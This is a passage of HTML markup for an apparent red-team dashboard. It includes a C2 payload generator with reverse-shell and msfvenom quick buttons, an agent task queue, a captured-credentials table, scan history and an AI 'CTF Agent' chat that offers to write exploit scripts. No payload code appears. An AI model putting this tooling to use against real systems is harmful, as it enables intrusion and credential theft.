<option value="py">Python Script</option>
|
||
<option value="base64">Base64 Encoded</option>
|
||
</select>
|
||
</div>
|
||
<div class="flex items-center gap-4">
|
||
<label class="flex items-center gap-2 cursor-pointer">
|
||
<input type="checkbox" x-model="payloadOptions.encode" class="rounded bg-sp-grey border-sp-grey-mid text-sp-red focus:ring-sp-red">
|
||
<span class="text-sm text-sp-white-muted">Encode payload</span>
|
||
</label>
|
||
<label class="flex items-center gap-2 cursor-pointer">
|
||
<input type="checkbox" x-model="payloadOptions.obfuscate" class="rounded bg-sp-grey border-sp-grey-mid text-sp-red focus:ring-sp-red">
|
||
<span class="text-sm text-sp-white-muted">Obfuscate</span>
|
||
</label>
|
||
</div>
|
||
<button @click="generatePayload()"
|
||
class="w-full bg-sp-red hover:bg-sp-red-dark px-4 py-3 rounded font-semibold transition flex items-center justify-center gap-2">
|
||
⚡ Generate Payload
|
||
</button>
|
||
</div>
|
||
|
||
<!-- Generated Payload -->
|
||
<div class="space-y-4">
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-2">Generated Payload</label>
|
||
<pre class="bg-sp-black border border-sp-grey-mid rounded p-4 h-64 overflow-auto text-sm font-mono text-green-400" x-text="generatedPayload || '// Payload will appear here...'"></pre>
|
||
</div>
|
||
<div class="flex gap-2">
|
||
<button @click="copyPayload()"
|
||
:disabled="!generatedPayload"
|
||
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition disabled:opacity-50">📋 Copy</button>
|
||
<button @click="downloadPayload()"
|
||
:disabled="!generatedPayload"
|
||
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition disabled:opacity-50">⬇️ Download</button>
|
||
<button @click="sendToTerminal()"
|
||
:disabled="!generatedPayload"
|
||
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition disabled:opacity-50">🖥️ Terminal</button>
|
||
</div>
|
||
|
||
<div class="bg-sp-dark border border-sp-grey-mid rounded p-4">
|
||
<h4 class="font-semibold mb-3 text-sp-white">Quick Payloads</h4>
|
||
<div class="grid grid-cols-2 gap-2 text-sm">
|
||
<button @click="quickPayload('bash_reverse')" class="bg-sp-grey hover:bg-sp-grey-light p-2 rounded text-left">🐚 Bash Reverse</button>
|
||
<button @click="quickPayload('nc_reverse')" class="bg-sp-grey hover:bg-sp-grey-light p-2 rounded text-left">🔌 Netcat Reverse</button>
|
||
<button @click="quickPayload('python_reverse')" class="bg-sp-grey hover:bg-sp-grey-light p-2 rounded text-left">🐍 Python Reverse</button>
|
||
<button @click="quickPayload('powershell_reverse')" class="bg-sp-grey hover:bg-sp-grey-light p-2 rounded text-left">⚡ PowerShell Reverse</button>
|
||
<button @click="quickPayload('php_reverse')" class="bg-sp-grey hover:bg-sp-grey-light p-2 rounded text-left">🐘 PHP Reverse</button>
|
||
<button @click="quickPayload('msfvenom')" class="bg-sp-grey hover:bg-sp-grey-light p-2 rounded text-left">💉 MSFVenom Command</button>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Tasks Panel -->
|
||
<div x-show="c2ActivePanel === 'tasks'" class="flex-1 overflow-auto p-4">
|
||
<div class="flex justify-between items-center mb-4">
|
||
<h3 class="font-semibold text-sp-white">Task Queue</h3>
|
||
<div class="flex gap-2">
|
||
<button @click="clearCompletedTasks()" class="bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded text-sm transition">🧹 Clear Completed</button>
|
||
<button @click="refreshTasks()" class="bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded text-sm transition">🔄 Refresh</button>
|
||
</div>
|
||
</div>
|
||
|
||
<div x-show="c2Tasks.length === 0" class="text-center py-12 text-sp-white-muted">
|
||
<p class="text-5xl mb-4">📋</p>
|
||
<p>No tasks in queue</p>
|
||
<p class="text-sm mt-2">Interact with an agent to queue tasks</p>
|
||
</div>
|
||
|
||
<div class="space-y-3">
|
||
<template x-for="task in c2Tasks" :key="task.id">
|
||
<div class="bg-sp-grey border border-sp-grey-mid rounded-lg p-4 hover:border-sp-red/50 transition">
|
||
<div class="flex items-center justify-between mb-2">
|
||
<div class="flex items-center gap-3">
|
||
<span :class="{
|
||
'bg-blue-500 animate-pulse': task.status === 'pending',
|
||
'bg-yellow-500 animate-pulse': task.status === 'running',
|
||
'bg-green-500': task.status === 'completed',
|
||
'bg-sp-red': task.status === 'failed'
|
||
}" class="w-3 h-3 rounded-full"></span>
|
||
<span class="font-mono text-sp-red" x-text="task.agent_hostname"></span>
|
||
<span class="text-sp-white-muted">→</span>
|
||
<span class="font-mono text-sp-white" x-text="task.command"></span>
|
||
</div>
|
||
<span :class="{
|
||
'bg-blue-500/20 text-blue-400': task.status === 'pending',
|
||
'bg-yellow-500/20 text-yellow-400': task.status === 'running',
|
||
'bg-green-500/20 text-green-400': task.status === 'completed',
|
||
'bg-red-500/20 text-red-400': task.status === 'failed'
|
||
}" class="px-2 py-1 rounded text-xs font-semibold" x-text="task.status"></span>
|
||
</div>
|
||
<template x-if="task.output">
|
||
<pre class="bg-sp-black p-3 rounded text-sm overflow-x-auto border border-sp-grey font-mono text-sp-white-dim mt-2 max-h-48" x-text="task.output"></pre>
|
||
</template>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Scan History Tab -->
|
||
<div x-show="activeTab === 'scan-history'" class="flex-1 flex flex-col">
|
||
<div class="p-4 border-b border-sp-grey-mid flex justify-between items-center">
|
||
<h2 class="text-lg font-bold text-sp-white flex items-center gap-2">
|
||
📋 Scan History
|
||
<span class="text-sm font-normal text-sp-white-muted">(<span x-text="scans.length"></span> scans)</span>
|
||
</h2>
|
||
<div class="flex gap-2">
|
||
<button @click="refreshScans()"
|
||
class="bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded text-sm transition flex items-center gap-2">
|
||
🔄 Refresh
|
||
</button>
|
||
<button @click="clearScanHistory()"
|
||
x-show="scans.length > 0"
|
||
class="bg-sp-grey hover:bg-red-900/50 px-4 py-2 rounded text-sm transition flex items-center gap-2 text-sp-white-muted hover:text-red-400">
|
||
🗑️ Clear All
|
||
</button>
|
||
</div>
|
||
</div>
|
||
|
||
<div x-show="scans.length === 0" class="flex-1 flex items-center justify-center">
|
||
<div class="text-center text-sp-white-muted">
|
||
<p class="text-6xl mb-4">📋</p>
|
||
<p class="text-lg">No scan history yet</p>
|
||
<p class="text-sm mt-2">Run scans from the Phase Tools or Terminal to see them here</p>
|
||
</div>
|
||
</div>
|
||
|
||
<div x-show="scans.length > 0" class="flex-1 overflow-auto p-4">
|
||
<div class="space-y-3">
|
||
<template x-for="scan in scans.slice().reverse()" :key="scan.scan_id">
|
||
<div class="bg-sp-grey border border-sp-grey-mid rounded-lg overflow-hidden hover:border-sp-red/50 transition">
|
||
<div class="p-4">
|
||
<div class="flex items-center justify-between mb-3">
|
||
<div class="flex items-center gap-3">
|
||
<span :class="{
|
||
'bg-yellow-500 animate-pulse': scan.status === 'running' || scan.status === 'pending',
|
||
'bg-green-500': scan.status === 'completed',
|
||
'bg-sp-red': scan.status === 'failed'
|
||
}" class="w-3 h-3 rounded-full"></span>
|
||
<span class="font-mono text-sp-red font-bold" x-text="scan.tool"></span>
|
||
<span class="text-sp-white-muted">→</span>
|
||
<span class="font-mono text-sp-white" x-text="scan.target"></span>
|
||
</div>
|
||
<div class="flex items-center gap-2">
|
||
<span class="text-xs text-sp-white-muted" x-text="formatScanTime(scan.created_at)"></span>
|
||
<span :class="{
|
||
'bg-yellow-500/20 text-yellow-400': scan.status === 'running' || scan.status === 'pending',
|
||
'bg-green-500/20 text-green-400': scan.status === 'completed',
|
||
'bg-red-500/20 text-red-400': scan.status === 'failed'
|
||
}" class="px-2 py-1 rounded text-xs font-semibold" x-text="scan.status"></span>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="flex items-center gap-2 flex-wrap">
|
||
<template x-if="scan.scan_type">
|
||
<span class="px-2 py-1 bg-sp-dark rounded text-xs text-sp-white-muted" x-text="scan.scan_type"></span>
|
||
</template>
|
||
<template x-if="scan.parsed?.ports?.length">
|
||
<span class="px-2 py-1 bg-blue-500/20 text-blue-400 rounded text-xs"
|
||
x-text="scan.parsed.ports.length + ' ports found'"></span>
|
||
</template>
|
||
<template x-if="scan.parsed?.findings?.length">
|
||
<span class="px-2 py-1 bg-sp-red/20 text-sp-red rounded text-xs"
|
||
x-text="scan.parsed.findings.length + ' findings'"></span>
|
||
</template>
|
||
<template x-if="scan.parsed?.hosts?.length">
|
||
<span class="px-2 py-1 bg-green-500/20 text-green-400 rounded text-xs"
|
||
x-text="scan.parsed.hosts.length + ' hosts'"></span>
|
||
</template>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="border-t border-sp-grey-mid px-4 py-2 bg-sp-dark flex gap-2">
|
||
<button @click="viewScanDetails(scan)"
|
||
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition">
|
||
👁️ View Details
|
||
</button>
|
||
<button @click="rescanTarget(scan)"
|
||
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-3 py-2 rounded text-xs transition"
|
||
:disabled="scan.status === 'running' || scan.status === 'pending'">
|
||
🔄 Rescan
|
||
</button>
|
||
<button @click="copyScanCommand(scan)"
|
||
class="bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition"
|
||
title="Copy command to terminal">
|
||
📋
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Credentials Tab -->
|
||
<div x-show="activeTab === 'credentials'" class="flex-1 flex flex-col overflow-hidden">
|
||
<div class="p-4 border-b border-sp-grey-mid flex justify-between items-center">
|
||
<h2 class="text-lg font-bold text-sp-white flex items-center gap-2">
|
||
🔐 Credentials
|
||
<span class="text-sm font-normal text-sp-white-muted">(<span x-text="credentials.length"></span> total)</span>
|
||
</h2>
|
||
<div class="flex gap-2">
|
||
<button @click="showCredentialModal = true"
|
||
class="bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded text-sm transition flex items-center gap-2"
|
||
:disabled="!currentProjectId">
|
||
+ Add Credential
|
||
</button>
|
||
</div>
|
||
</div>
|
||
|
||
<template x-if="!currentProjectId">
|
||
<div class="flex-1 flex items-center justify-center text-center p-6">
|
||
<div>
|
||
<p class="text-5xl mb-4">📁</p>
|
||
<p class="text-sp-white-muted text-lg">No Project Selected</p>
|
||
<p class="text-sp-white-muted text-sm mt-2">Create or select a project to manage credentials</p>
|
||
<button @click="showProjectModal = true" class="mt-4 bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded transition">
|
||
Create Project
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
|
||
<template x-if="currentProjectId">
|
||
<div class="flex-1 overflow-auto p-4">
|
||
<div x-show="credentials.length === 0" class="flex items-center justify-center text-center p-12">
|
||
<div>
|
||
<p class="text-5xl mb-4">🔑</p>
|
||
<p class="text-sp-white-muted">No credentials captured yet</p>
|
||
<p class="text-sp-white-muted text-sm mt-2">Add credentials manually or capture them during attacks</p>
|
||
</div>
|
||
</div>
|
||
|
||
<div x-show="credentials.length > 0" class="overflow-x-auto">
|
||
<table class="w-full text-sm">
|
||
<thead class="bg-sp-grey sticky top-0">
|
||
<tr class="text-left text-sp-white-muted">
|
||
<th class="px-4 py-3 font-semibold">Username</th>
|
||
<th class="px-4 py-3 font-semibold">Password/Hash</th>
|
||
<th class="px-4 py-3 font-semibold">Domain</th>
|
||
<th class="px-4 py-3 font-semibold">Host</th>
|
||
<th class="px-4 py-3 font-semibold">Service</th>
|
||
<th class="px-4 py-3 font-semibold">Source</th>
|
||
<th class="px-4 py-3 font-semibold w-20">Actions</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody class="divide-y divide-sp-grey-mid">
|
||
<template x-for="cred in credentials" :key="cred.id">
|
||
<tr class="hover:bg-sp-grey/50 transition">
|
||
<td class="px-4 py-3 font-mono text-sp-red" x-text="cred.username"></td>
|
||
<td class="px-4 py-3 font-mono">
|
||
<span x-show="cred.password" class="text-green-400" x-text="cred.password"></span>
|
||
<span x-show="cred.hash && !cred.password" class="text-yellow-400 text-xs" x-text="(cred.hash || '').substring(0, 32) + '...'"></span>
|
||
</td>
|
||
<td class="px-4 py-3 text-sp-white-muted" x-text="cred.domain || '-'"></td>
|
||
<td class="px-4 py-3 font-mono text-sp-white-dim" x-text="cred.host || '-'"></td>
|
||
<td class="px-4 py-3 text-sp-white-muted" x-text="cred.service || '-'"></td>
|
||
<td class="px-4 py-3 text-sp-white-muted text-xs" x-text="cred.source || '-'"></td>
|
||
<td class="px-4 py-3">
|
||
<button @click="deleteCredential(cred.id)"
|
||
class="text-red-400 hover:text-red-300 p-1 transition"
|
||
title="Delete credential">
|
||
🗑️
|
||
</button>
|
||
</td>
|
||
</tr>
|
||
</template>
|
||
</tbody>
|
||
</table>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
|
||
<!-- Notes Tab -->
|
||
<div x-show="activeTab === 'notes'" class="flex-1 flex flex-col overflow-hidden">
|
||
<div class="p-4 border-b border-sp-grey-mid flex justify-between items-center">
|
||
<h2 class="text-lg font-bold text-sp-white flex items-center gap-2">
|
||
📝 Project Notes
|
||
<span class="text-sm font-normal text-sp-white-muted">(<span x-text="projectNotes.length"></span> notes)</span>
|
||
</h2>
|
||
<div class="flex gap-2">
|
||
<button @click="showNoteModal = true"
|
||
class="bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded text-sm transition flex items-center gap-2"
|
||
:disabled="!currentProjectId">
|
||
+ Add Note
|
||
</button>
|
||
</div>
|
||
</div>
|
||
|
||
<template x-if="!currentProjectId">
|
||
<div class="flex-1 flex items-center justify-center text-center p-6">
|
||
<div>
|
||
<p class="text-5xl mb-4">📁</p>
|
||
<p class="text-sp-white-muted text-lg">No Project Selected</p>
|
||
<p class="text-sp-white-muted text-sm mt-2">Create or select a project to take notes</p>
|
||
<button @click="showProjectModal = true" class="mt-4 bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded transition">
|
||
Create Project
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
|
||
<template x-if="currentProjectId">
|
||
<div class="flex-1 overflow-auto p-4">
|
||
<div x-show="projectNotes.length === 0" class="flex items-center justify-center text-center p-12">
|
||
<div>
|
||
<p class="text-5xl mb-4">📝</p>
|
||
<p class="text-sp-white-muted">No notes yet</p>
|
||
<p class="text-sp-white-muted text-sm mt-2">Add notes to document your findings and observations</p>
|
||
</div>
|
||
</div>
|
||
|
||
<div x-show="projectNotes.length > 0" class="grid grid-cols-1 md:grid-cols-2 gap-4">
|
||
<template x-for="note in projectNotes" :key="note.id">
|
||
<div class="bg-sp-grey border border-sp-grey-mid rounded-lg p-4 hover:border-sp-red/50 transition">
|
||
<div class="flex items-start justify-between mb-2">
|
||
<div>
|
||
<h4 class="font-semibold text-sp-white" x-text="note.title"></h4>
|
||
<div class="flex items-center gap-2 mt-1">
|
||
<span :class="{
|
||
'bg-gray-500/30 text-gray-400': note.category === 'general',
|
||
'bg-blue-500/30 text-blue-400': note.category === 'recon',
|
||
'bg-red-500/30 text-red-400': note.category === 'exploitation',
|
||
'bg-purple-500/30 text-purple-400': note.category === 'post-exploit',
|
||
'bg-yellow-500/30 text-yellow-400': note.category === 'loot'
|
||
}" class="px-2 py-0.5 rounded text-xs" x-text="note.category"></span>
|
||
<span x-show="note.host" class="text-xs font-mono text-sp-white-muted" x-text="note.host"></span>
|
||
</div>
|
||
</div>
|
||
<button @click="deleteNote(note.id)"
|
||
class="text-red-400 hover:text-red-300 p-1 transition"
|
||
title="Delete note">
|
||
🗑️
|
||
</button>
|
||
</div>
|
||
<pre class="text-sm text-sp-white-dim whitespace-pre-wrap font-mono bg-sp-dark p-2 rounded mt-2 max-h-40 overflow-auto" x-text="note.content"></pre>
|
||
<div class="text-xs text-sp-white-muted mt-2" x-text="new Date(note.created_at).toLocaleString()"></div>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
|
||
<!-- CTF Agent Tab -->
|
||
<div x-show="activeTab === 'ctf'" class="flex-1 flex flex-col overflow-hidden">
|
||
<div class="p-4 border-b border-sp-grey-mid">
|
||
<h2 class="text-lg font-bold text-sp-white flex items-center gap-2">
|
||
🚩 CTF Agent
|
||
<span class="text-sm font-normal text-sp-white-muted">AI-Powered Capture The Flag Assistant</span>
|
||
</h2>
|
||
</div>
|
||
|
||
<div class="flex-1 flex overflow-hidden">
|
||
<!-- Challenge Context Panel -->
|
||
<div class="w-80 border-r border-sp-grey-mid p-4 overflow-y-auto bg-sp-dark">
|
||
<h3 class="text-sm font-bold text-sp-red mb-3 flex items-center gap-2">
|
||
🎯 Challenge Context
|
||
</h3>
|
||
|
||
<div class="space-y-4">
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Category</label>
|
||
<select x-model="ctfAgent.category"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
|
||
<option value="general">🎮 General</option>
|
||
<option value="web">🌐 Web Exploitation</option>
|
||
<option value="crypto">🔐 Cryptography</option>
|
||
<option value="pwn">💥 Binary Exploitation (PWN)</option>
|
||
<option value="reversing">🔍 Reverse Engineering</option>
|
||
<option value="forensics">🔬 Forensics</option>
|
||
<option value="osint">🕵️ OSINT</option>
|
||
<option value="misc">🎲 Miscellaneous</option>
|
||
</select>
|
||
</div>
|
||
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Challenge Name</label>
|
||
<input type="text" x-model="ctfAgent.challengeName"
|
||
placeholder="e.g., Baby SQLi, Easy RSA"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm text-sp-white placeholder-sp-white-muted focus:outline-none focus:ring-2 focus:ring-sp-red">
|
||
</div>
|
||
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Challenge Description</label>
|
||
<textarea x-model="ctfAgent.challengeDescription"
|
||
rows="3"
|
||
placeholder="Paste the challenge description here..."
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm text-sp-white placeholder-sp-white-muted focus:outline-none focus:ring-2 focus:ring-sp-red resize-none"></textarea>
|
||
</div>
|
||
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Hints (one per line)</label>
|
||
<textarea x-model="ctfAgent.hintsText"
|
||
rows="2"
|
||
placeholder="Any hints provided..."
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm text-sp-white placeholder-sp-white-muted focus:outline-none focus:ring-2 focus:ring-sp-red resize-none"></textarea>
|
||
</div>
|
||
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Files/Attachments</label>
|
||
<textarea x-model="ctfAgent.filesText"
|
||
rows="2"
|
||
placeholder="challenge.zip, flag.enc, binary..."
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm text-sp-white placeholder-sp-white-muted focus:outline-none focus:ring-2 focus:ring-sp-red resize-none font-mono"></textarea>
|
||
</div>
|
||
|
||
<div>
|
||
<label class="block text-xs text-sp-white-muted mb-1">Current Progress</label>
|
||
<textarea x-model="ctfAgent.currentProgress"
|
||
rows="3"
|
||
placeholder="What have you tried? What did you find?"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-3 py-2 text-sm text-sp-white placeholder-sp-white-muted focus:outline-none focus:ring-2 focus:ring-sp-red resize-none"></textarea>
|
||
</div>
|
||
|
||
<button @click="clearCtfContext()"
|
||
class="w-full bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-sm transition border border-sp-grey-mid">
|
||
🗑️ Clear Context
|
||
</button>
|
||
</div>
|
||
|
||
<!-- Quick Actions -->
|
||
<h3 class="text-sm font-bold text-sp-red mt-6 mb-3 flex items-center gap-2">
|
||
⚡ Quick Prompts
|
||
</h3>
|
||
<div class="space-y-2">
|
||
<button @click="sendCtfQuickPrompt('Analyze this challenge and suggest initial approach vectors')"
|
||
class="w-full text-left bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition border border-sp-grey-mid text-sp-white-dim">
|
||
🎯 Initial Analysis
|
||
</button>
|
||
<button @click="sendCtfQuickPrompt('What tools should I use for this type of challenge?')"
|
||
class="w-full text-left bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition border border-sp-grey-mid text-sp-white-dim">
|
||
🛠️ Recommend Tools
|
||
</button>
|
||
<button @click="sendCtfQuickPrompt('I am stuck. Give me a hint without revealing the solution')"
|
||
class="w-full text-left bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition border border-sp-grey-mid text-sp-white-dim">
|
||
💡 Give Me a Hint
|
||
</button>
|
||
<button @click="sendCtfQuickPrompt('Explain the vulnerability or technique used in this challenge')"
|
||
class="w-full text-left bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition border border-sp-grey-mid text-sp-white-dim">
|
||
📚 Explain Technique
|
||
</button>
|
||
<button @click="sendCtfQuickPrompt('Write a solve script or exploit for this challenge')"
|
||
class="w-full text-left bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition border border-sp-grey-mid text-sp-white-dim">
|
||
🐍 Generate Solve Script
|
||
</button>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Chat Area -->
|
||
<div class="flex-1 flex flex-col bg-sp-black/50">
|
||
<!-- Category Badge -->
|
||
<div class="px-4 py-2 border-b border-sp-grey-mid bg-sp-dark/50 flex items-center gap-2">
|
||
<span :class="{
|
||
'bg-gray-500/30 text-gray-400': ctfAgent.category === 'general',
|
||
'bg-blue-500/30 text-blue-400': ctfAgent.category === 'web',
|
||
'bg-purple-500/30 text-purple-400': ctfAgent.category === 'crypto',
|
||
'bg-red-500/30 text-red-400': ctfAgent.category === 'pwn',
|
||
'bg-orange-500/30 text-orange-400': ctfAgent.category === 'reversing',
|
||
'bg-green-500/30 text-green-400': ctfAgent.category === 'forensics',
|
||
'bg-cyan-500/30 text-cyan-400': ctfAgent.category === 'osint',
|
||
'bg-yellow-500/30 text-yellow-400': ctfAgent.category === 'misc'
|
||
}" class="px-2 py-1 rounded text-xs font-semibold">
|
||
<span x-text="getCategoryLabel(ctfAgent.category)"></span>
|
||
</span>
|
||
<span x-show="ctfAgent.challengeName" class="text-sm text-sp-white-muted">
|
||
Challenge: <span class="text-sp-white" x-text="ctfAgent.challengeName"></span>
|
||
</span>
|
||
</div>
|
||
|
||
<!-- Messages -->
|
||
<div class="flex-1 overflow-y-auto p-4 space-y-4" id="ctf-messages">
|
||
<template x-if="ctfAgent.messages.length === 0">
|
||
<div class="flex items-center justify-center h-full text-center">
|
||
<div>
|
||
<p class="text-6xl mb-4">🚩</p>
|
||
<p class="text-sp-white text-lg font-semibold">CTF Agent Ready</p>
|
||
<p class="text-sp-white-muted text-sm mt-2 max-w-md">
|
||
I'm your AI-powered CTF assistant. Set your challenge context on the left,
|
||
then ask me anything about solving CTF challenges!
|
||
</p>
|
||
<div class="mt-4 grid grid-cols-2 gap-2 text-xs">
|
||
<div class="bg-sp-grey/50 px-3 py-2 rounded border border-sp-grey-mid">🌐 Web Exploitation</div>
|
||
<div class="bg-sp-grey/50 px-3 py-2 rounded border border-sp-grey-mid">🔐 Cryptography</div>
|
||
<div class="bg-sp-grey/50 px-3 py-2 rounded border border-sp-grey-mid">💥 Binary PWN</div>
|
||
<div class="bg-sp-grey/50 px-3 py-2 rounded border border-sp-grey-mid">🔍 Reverse Engineering</div>
|
||
<div class="bg-sp-grey/50 px-3 py-2 rounded border border-sp-grey-mid">🔬 Forensics</div>
|
||
<div class="bg-sp-grey/50 px-3 py-2 rounded border border-sp-grey-mid">🕵️ OSINT</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
|
||
<template x-for="(msg, idx) in ctfAgent.messages" :key="idx">
|
||
<div :class="msg.role === 'user' ? 'flex justify-end' : 'flex justify-start'">
|
||
<div :class="msg.role === 'user' ? 'bg-sp-red/20 border-sp-red/50' : 'bg-sp-grey border-sp-grey-mid'"
|
||
class="max-w-3xl px-4 py-3 rounded-lg border">
|
||
<div class="flex items-center gap-2 mb-1 text-xs text-sp-white-muted">
|
||
<span x-text="msg.role === 'user' ? '👤 You' : '🚩 CTF Agent'"></span>
|
||
<span x-text="msg.timestamp"></span>
|
||
</div>
|
||
<div class="text-sm text-sp-white prose prose-invert max-w-none ctf-message" x-html="formatCtfMessage(msg.content)"></div>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
|
||
<div x-show="ctfAgent.loading" class="flex justify-start">
|
||
<div class="bg-sp-grey border border-sp-grey-mid px-4 py-3 rounded-lg">
|
||
<div class="flex items-center gap-2">
|
||
<div class="animate-pulse flex gap-1">
|
||
<div class="w-2 h-2 bg-sp-red rounded-full animate-bounce"></div>
|
||
<div class="w-2 h-2 bg-sp-red rounded-full animate-bounce" style="animation-delay: 0.1s"></div>
|
||
<div class="w-2 h-2 bg-sp-red rounded-full animate-bounce" style="animation-delay: 0.2s"></div>
|
||
</div>
|
||
<span class="text-sm text-sp-white-muted">CTF Agent is thinking...</span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Input Area -->
|
||
<div class="p-4 border-t border-sp-grey-mid bg-sp-dark">
|
||
<div class="flex gap-2">
|
||
<textarea x-model="ctfAgent.input"
|
||
@keydown.enter.prevent="if(!$event.shiftKey) sendCtfMessage()"
|
||
rows="2"
|
||
placeholder="Ask about your CTF challenge... (Enter to send, Shift+Enter for newline)"
|
||
class="flex-1 bg-sp-grey border border-sp-grey-mid rounded-lg px-4 py-3 text-sp-white placeholder-sp-white-muted focus:outline-none focus:ring-2 focus:ring-sp-red resize-none"></textarea>
|
||
<button @click="sendCtfMessage()"
|
||
:disabled="!ctfAgent.input.trim() || ctfAgent.loading"
|
||
class="bg-sp-red hover:bg-sp-red-dark disabled:opacity-50 disabled:cursor-not-allowed px-6 py-2 rounded-lg font-semibold transition flex items-center gap-2">
|
||
<span x-show="!ctfAgent.loading">Send</span>
|
||
<span x-show="ctfAgent.loading" class="animate-spin">⟳</span>
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</main>
|
||
</div>
|
||
|
||
<!-- Scan Modal -->
|
||
<div x-show="scanModalOpen" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
|
||
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-md border border-sp-grey-mid glow-red" @click.away="scanModalOpen = false">
|
||
<h3 class="text-lg font-bold mb-4 text-sp-white">Start <span class="text-sp-red" x-text="scanModal.tool"></span> Scan</h3>
|
||
|
||
<div class="space-y-4">
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-1">Target</label>
|
||
<input type="text" x-model="scanModal.target"
|
||
placeholder="IP, hostname, or URL"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 focus:outline-none focus:ring-2 focus:ring-sp-red text-sp-white placeholder-sp-white-muted">
|
||
</div>
|
||
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-1">Scan Type</label>
|
||
<select x-model="scanModal.scanType"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
|
||
<template x-for="type in scanModal.types" :key="type">
|
||
<option :value="type" x-text="type"></option>
|
||
</template>
|
||
</select>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="flex gap-3 mt-6">
|
||
<button @click="scanModalOpen = false"
|
||
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded transition">
|
||
Cancel
|
||
</button>
|
||
<button @click="startScan()"
|
||
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded font-semibold transition"
|
||
:disabled="!scanModal.target">
|
||
Start Scan
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Scan Details Modal -->
|
||
<div x-show="detailsModalOpen" x-transition class="fixed inset-0 bg-black/70 flex items-center justify-center z-50">
|
||
<div class="bg-sp-dark rounded-lg p-6 w-full max-w-4xl max-h-[80vh] overflow-y-auto border border-sp-grey-mid" @click.away="detailsModalOpen = false">
|
||
<div class="flex justify-between items-center mb-4">
|
||
<h3 class="text-lg font-bold text-sp-white">Scan Details</h3>
|
||
<button @click="detailsModalOpen = false" class="text-sp-white-muted hover:text-white text-xl">✕</button>
|
||
</div>
|
||
|
||
<template x-if="selectedScan">
|
||
<div class="space-y-4">
|
||
<div class="grid grid-cols-2 gap-4 text-sm">
|
||
<div><span class="text-sp-white-muted">Tool:</span> <span class="text-sp-red font-bold" x-text="selectedScan.tool"></span></div>
|
||
<div><span class="text-sp-white-muted">Target:</span> <span class="text-sp-white" x-text="selectedScan.target"></span></div>
|
||
<div><span class="text-sp-white-muted">Status:</span> <span x-text="selectedScan.status"></span></div>
|
||
<div><span class="text-sp-white-muted">Started:</span> <span x-text="selectedScan.started_at"></span></div>
|
||
</div>
|
||
|
||
<div>
|
||
<h4 class="text-sm text-sp-white-muted mb-2">Command</h4>
|
||
<pre class="bg-sp-black p-3 rounded text-sm overflow-x-auto border border-sp-grey font-mono text-sp-white" x-text="selectedScan.command"></pre>
|
||
</div>
|
||
|
||
<template x-if="selectedScan.parsed && selectedScan.parsed.findings">
|
||
<div>
|
||
